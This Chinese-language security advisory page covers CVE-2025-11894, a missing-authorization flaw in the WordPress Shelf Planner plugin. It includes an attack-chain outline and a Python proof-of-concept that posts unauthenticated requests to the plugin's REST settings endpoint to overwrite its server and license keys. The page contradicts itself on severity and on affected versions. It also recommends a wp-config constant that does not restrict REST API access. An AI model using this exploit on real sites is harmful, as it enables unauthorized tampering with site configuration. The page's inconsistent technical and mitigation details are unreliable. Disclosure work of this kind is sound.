IPBUF安全漏洞报告
English
CVE-2025-11894 CVSS 5.3 中危

CVE-2025-11894 | WordPress Shelf Planner插件未授权配置修改漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-11894
漏洞类型
访问控制/权限绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Shelf Planner插件

相关标签

CVE-2025-11894WordPress插件漏洞访问控制绕过REST API漏洞未授权访问权限检查缺失Shelf PlannerBroken Access ControlOWASP Top 10

漏洞概述

CVE-2025-11894是WordPress Shelf Planner插件中的一个高危安全漏洞。该插件是一款用于WordPress的库存管理和规划工具。漏洞根源在于多个REST API端点缺少权限检查(Missing Authorization),导致未经身份验证的攻击者可以访问和修改插件的敏感配置设置。攻击者利用此漏洞可以修改ServerKey(服务器密钥)和LicenseKey(许可证密钥)等关键配置项,可能导致业务逻辑被篡改、许可证验证失效或进一步的供应链攻击。由于该漏洞无需认证即可利用,且CVSS评分为5.3(MEDIUM级别),对WordPress站点安全性构成中等威胁。所有版本直至2.8.1均受影响,建议用户立即升级到最新版本以修复此安全问题。

技术细节

该漏洞属于OWASP Top 10中的Broken Access Control(访问控制失效)类别。具体而言,Shelf Planner插件在实现REST API功能时,未对以下关键操作进行权限验证:1)配置读取和写入操作;2)许可证信息管理;3)服务器连接设置。攻击者可以通过构造恶意HTTP请求到插件的REST API端点(如/api/settings、/api/license等),在无需任何认证凭据的情况下执行配置修改操作。漏洞利用的核心在于插件错误地假设所有API请求都来自已认证的管理员用户,而实际上这些端点对外部完全开放。成功利用后,攻击者可将合法的ServerKey替换为攻击者控制的服务器地址,或修改LicenseKey以绕过许可证验证,这不仅影响站点本身的运行,还可能造成用户数据的潜在泄露风险。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描使用Shelf Planner插件的WordPress站点,通过识别插件特征确定目标
STEP 2
步骤2
探测阶段:攻击者探测插件的REST API端点,确认/api/settings等端点存在且无需认证即可访问
STEP 3
步骤3
利用阶段:攻击者构造恶意HTTP POST请求,向REST API端点发送配置修改 payload
STEP 4
步骤4
配置篡改:成功修改ServerKey或LicenseKey等关键配置,将服务器地址指向攻击者控制的服务器
STEP 5
步骤5
后续攻击:利用被篡改的配置进行供应链攻击、窃取用户数据或劫持许可证验证流程

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11894 PoC - WordPress Shelf Planner Unauthorized Configuration Modification # Target: WordPress site with Shelf Planner plugin <= 2.8.1 TARGET_URL = "http://target-wordpress-site.com" def exploit_shelf_planner(): """ Exploit for CVE-2025-11894: Missing authorization in Shelf Planner REST API endpoints This PoC demonstrates how an unauthenticated attacker can modify plugin settings. """ # Step 1: Identify the REST API endpoint # Shelf Planner plugin registers REST API routes without capability checks api_base = f"{TARGET_URL}/wp-json/shelf-planner/v1" # Step 2: Attempt to modify ServerKey setting # This endpoint should require authentication but doesn't server_key_payload = { "key": "server_key", "value": "attacker_controlled_server" } response = requests.post( f"{api_base}/settings", json=server_key_payload, headers={ "Content-Type": "application/json", "X-WordPress-Nonce": "" # Not required due to missing auth check } ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # Step 3: Attempt to modify LicenseKey setting license_key_payload = { "key": "license_key", "value": "MALICIOUS-LICENSE-KEY" } response = requests.post( f"{api_base}/settings", json=license_key_payload, headers={"Content-Type": "application/json"} ) print(f"[*] License Key Modification Response: {response.text}") if __name__ == "__main__": exploit_shelf_planner()

影响范围

Shelf Planner插件 < 2.8.1
Shelf Planner插件 <= 2.8.1

防御指南

临时缓解措施
作为临时缓解措施,可采取以下行动:1)在Web应用防火墙(WAF)中添加规则,限制对/wp-json/shelf-planner/*路径的访问;2)使用WordPress安全插件监控异常的API请求;3)限制未认证用户对REST API的访问权限(可在wp-config.php中添加DISALLOW_UNFILTERED_HTML常量);4)考虑暂时禁用Shelf Planner插件,待官方发布修复版本后再重新启用;5)实施入侵检测系统(IDS)监控针对该漏洞的扫描和利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表